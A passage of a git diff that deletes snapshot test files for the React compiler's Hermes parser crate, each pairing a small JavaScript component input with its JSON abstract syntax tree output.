-                  "range": [
-                    34,
-                    35
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    38,
-                    40
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  34,
-                  40
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              41
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    48,
-                    49
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    52,
-                    54
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  48,
-                  54
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              44,
-              55
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    58,
-                    59
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    60,
-                    64
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  58,
-                  64
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useHook",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      65,
-                      72
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          73,
-                          78
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "foo",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          79,
-                          82
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        73,
-                        82
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    65,
-                    83
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                58,
-                84
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              58,
-              85
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    88,
-                    89
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    90,
-                    94
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  88,
-                  94
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    95,
-                    96
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                88,
-                97
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              88,
-              98
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                108,
-                109
-              ]
-            },
-            "loc": null,
-            "range": [
-              101,
-              110
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          112
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        112
-      ],
-      "loc": null,
-      "range": [
-        0,
-        112
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    112
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@new-spread.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@new-spread.js.snap
deleted file mode 100644
index ee1255a084d6..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@new-spread.js.snap
+++ /dev/null
@@ -1,230 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/new-spread.js
----
-Input:
-function Component(props) {
-  const x = new Foo(...props.foo, null, ...[props.bar]);
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "NewExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "Foo",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      44,
-                      47
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "SpreadElement",
-                      "argument": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            51,
-                            56
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "foo",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            57,
-                            60
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          51,
-                          60
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        48,
-                        60
-                      ]
-                    },
-                    {
-                      "type": "NullLiteral",
-                      "loc": null,
-                      "range": [
-                        62,
-                        66
-                      ]
-                    },
-                    {
-                      "type": "SpreadElement",
-                      "argument": {
-                        "type": "ArrayExpression",
-                        "elements": [
-                          {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "props",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                72,
-                                77
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "bar",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                78,
-                                81
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              72,
-                              81
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          71,
-                          82
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        68,
-                        82
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    40,
-                    83
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  83
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              84
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                94,
-                95
-              ]
-            },
-            "loc": null,
-            "range": [
-              87,
-              96
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          98
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        98
-      ],
-      "loc": null,
-      "range": [
-        0,
-        98
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    98
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@nonoptional-load-from-optional-memberexpr.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@nonoptional-load-from-optional-memberexpr.js.snap
deleted file mode 100644
index 1d4df2edd1d7..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@nonoptional-load-from-optional-memberexpr.js.snap
+++ /dev/null
@@ -1,171 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/nonoptional-load-from-optional-memberexpr.js
----
-Input:
-// Note that `a?.b.c` is semantically different from `(a?.b).c`
-// Here, 'props?.a` is an optional chain, and `.b` is an unconditional load
-// (nullthrows if a is nullish)
-
-function Component(props) {
-  let x = (props?.a).b;
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          182,
-          191
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            192,
-            197
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    207,
-                    208
-                  ]
-                },
-                "init": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "OptionalMemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        212,
-                        217
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "a",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        219,
-                        220
-                      ]
-                    },
-                    "computed": false,
-                    "optional": true,
-                    "loc": null,
-                    "range": [
-                      212,
-                      220
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "b",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      222,
-                      223
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    211,
-                    223
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  207,
-                  223
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              203,
-              224
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                234,
-                235
-              ]
-            },
-            "loc": null,
-            "range": [
-              227,
-              236
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          199,
-          238
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        173,
-        238
-      ],
-      "loc": null,
-      "range": [
-        173,
-        238
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    173,
-    238
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@obj-literal-cached-in-if-else.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@obj-literal-cached-in-if-else.js.snap
deleted file mode 100644
index c81eb44f8c3f..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@obj-literal-cached-in-if-else.js.snap
+++ /dev/null
@@ -1,341 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/obj-literal-cached-in-if-else.js
----
-Input:
-function foo(a, b, c, d) {
-  let x = {};
-  if (someVal) {
-    x = { b };
-  } else {
-    x = { c };
-  }
-
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            14
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            16,
-            17
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "c",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "d",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            22,
-            23
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    33,
-                    34
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    37,
-                    39
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  33,
-                  39
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              29,
-              40
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "Identifier",
-              "name": "someVal",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                47,
-                54
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        62,
-                        63
-                      ]
-                    },
-                    "right": {
-                      "type": "ObjectExpression",
-                      "properties": [
-                        {
-                          "type": "Property",
-                          "key": {
-                            "type": "Identifier",
-                            "name": "b",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              68,
-                              69
-                            ]
-                          },
-                          "value": {
-                            "type": "Identifier",
-                            "name": "b",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              68,
-                              69
-                            ]
-                          },
-                          "kind": "init",
-                          "method": false,
-                          "shorthand": true,
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            68,
-                            69
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        66,
-                        71
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      62,
-                      71
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    62,
-                    72
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                56,
-                76
-              ]
-            },
-            "alternate": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        88,
-                        89
-                      ]
-                    },
-                    "right": {
-                      "type": "ObjectExpression",
-                      "properties": [
-                        {
-                          "type": "Property",
-                          "key": {
-                            "type": "Identifier",
-                            "name": "c",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              94,
-                              95
-                            ]
-                          },
-                          "value": {
-                            "type": "Identifier",
-                            "name": "c",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              94,
-                              95
-                            ]
-                          },
-                          "kind": "init",
-                          "method": false,
-                          "shorthand": true,
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            94,
-                            95
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        92,
-                        97
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      88,
-                      97
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    88,
-                    98
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                82,
-                102
-              ]
-            },
-            "loc": null,
-            "range": [
-              43,
-              102
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                113,
-                114
-              ]
-            },
-            "loc": null,
-            "range": [
-              106,
-              115
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          25,
-          117
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        117
-      ],
-      "loc": null,
-      "range": [
-        0,
-        117
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    117
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@obj-literal-mutated-after-if-else.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@obj-literal-mutated-after-if-else.js.snap
deleted file mode 100644
index 2bbfaad452f7..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@obj-literal-mutated-after-if-else.js.snap
+++ /dev/null
@@ -1,398 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/obj-literal-mutated-after-if-else.js
----
-Input:
-function foo(a, b, c, d) {
-  let x = {};
-  if (someVal) {
-    x = { b };
-  } else {
-    x = { c };
-  }
-
-  x.f = 1;
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            14
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            16,
-            17
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "c",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "d",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            22,
-            23
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    33,
-                    34
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    37,
-                    39
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  33,
-                  39
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              29,
-              40
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "Identifier",
-              "name": "someVal",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                47,
-                54
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        62,
-                        63
-                      ]
-                    },
-                    "right": {
-                      "type": "ObjectExpression",
-                      "properties": [
-                        {
-                          "type": "Property",
-                          "key": {
-                            "type": "Identifier",
-                            "name": "b",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              68,
-                              69
-                            ]
-                          },
-                          "value": {
-                            "type": "Identifier",
-                            "name": "b",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              68,
-                              69
-                            ]
-                          },
-                          "kind": "init",
-                          "method": false,
-                          "shorthand": true,
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            68,
-                            69
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        66,
-                        71
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      62,
-                      71
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    62,
-                    72
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                56,
-                76
-              ]
-            },
-            "alternate": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        88,
-                        89
-                      ]
-                    },
-                    "right": {
-                      "type": "ObjectExpression",
-                      "properties": [
-                        {
-                          "type": "Property",
-                          "key": {
-                            "type": "Identifier",
-                            "name": "c",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              94,
-                              95
-                            ]
-                          },
-                          "value": {
-                            "type": "Identifier",
-                            "name": "c",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              94,
-                              95
-                            ]
-                          },
-                          "kind": "init",
-                          "method": false,
-                          "shorthand": true,
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            94,
-                            95
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        92,
-                        97
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      88,
-                      97
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    88,
-                    98
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                82,
-                102
-              ]
-            },
-            "loc": null,
-            "range": [
-              43,
-              102
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    106,
-                    107
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "f",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    108,
-                    109
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  106,
-                  109
-                ]
-              },
-              "right": {
-                "type": "NumericLiteral",
-                "value": 1.0,
-                "loc": null,
-                "range": [
-                  112,
-                  113
-                ]
-              },
-              "loc": null,
-              "range": [
-                106,
-                113
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              106,
-              114
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                124,
-                125
-              ]
-            },
-            "loc": null,
-            "range": [
-              117,
-              126
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          25,
-          128
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        128
-      ],
-      "loc": null,
-      "range": [
-        0,
-        128
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    128
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@obj-mutated-after-if-else-with-alias.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@obj-mutated-after-if-else-with-alias.js.snap
deleted file mode 100644
index dfe4d333e815..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@obj-mutated-after-if-else-with-alias.js.snap
+++ /dev/null
@@ -1,442 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/obj-mutated-after-if-else-with-alias.js
----
-Input:
-function foo(a, b, c, d) {
-  let x = someObj();
-  if (a) {
-    const y = someObj();
-    const z = y;
-    x = z;
-  } else {
-    x = someObj();
-  }
-
-  x.f = 1;
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            14
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            16,
-            17
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "c",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "d",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            22,
-            23
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    33,
-                    34
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "someObj",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      37,
-                      44
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    37,
-                    46
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  33,
-                  46
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              29,
-              47
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "Identifier",
-              "name": "a",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                54,
-                55
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "VariableDeclaration",
-                  "kind": "const",
-                  "declarations": [
-                    {
-                      "type": "VariableDeclarator",
-                      "id": {
-                        "type": "Identifier",
-                        "name": "y",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          69,
-                          70
-                        ]
-                      },
-                      "init": {
-                        "type": "CallExpression",
-                        "callee": {
-                          "type": "Identifier",
-                          "name": "someObj",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            73,
-                            80
-                          ]
-                        },
-                        "arguments": [],
-                        "loc": null,
-                        "range": [
-                          73,
-                          82
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        69,
-                        82
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    63,
-                    83
-                  ]
-                },
-                {
-                  "type": "VariableDeclaration",
-                  "kind": "const",
-                  "declarations": [
-                    {
-                      "type": "VariableDeclarator",
-                      "id": {
-                        "type": "Identifier",
-                        "name": "z",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          94,
-                          95
-                        ]
-                      },
-                      "init": {
-                        "type": "Identifier",
-                        "name": "y",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          98,
-                          99
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        94,
-                        99
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    88,
-                    100
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        105,
-                        106
-                      ]
-                    },
-                    "right": {
-                      "type": "Identifier",
-                      "name": "z",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        109,
-                        110
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      105,
-                      110
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    105,
-                    111
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                57,
-                115
-              ]
-            },
-            "alternate": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        127,
-                        128
-                      ]
-                    },
-                    "right": {
-                      "type": "CallExpression",
-                      "callee": {
-                        "type": "Identifier",
-                        "name": "someObj",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          131,
-                          138
-                        ]
-                      },
-                      "arguments": [],
-                      "loc": null,
-                      "range": [
-                        131,
-                        140
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      127,
-                      140
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    127,
-                    141
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                121,
-                145
-              ]
-            },
-            "loc": null,
-            "range": [
-              50,
-              145
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
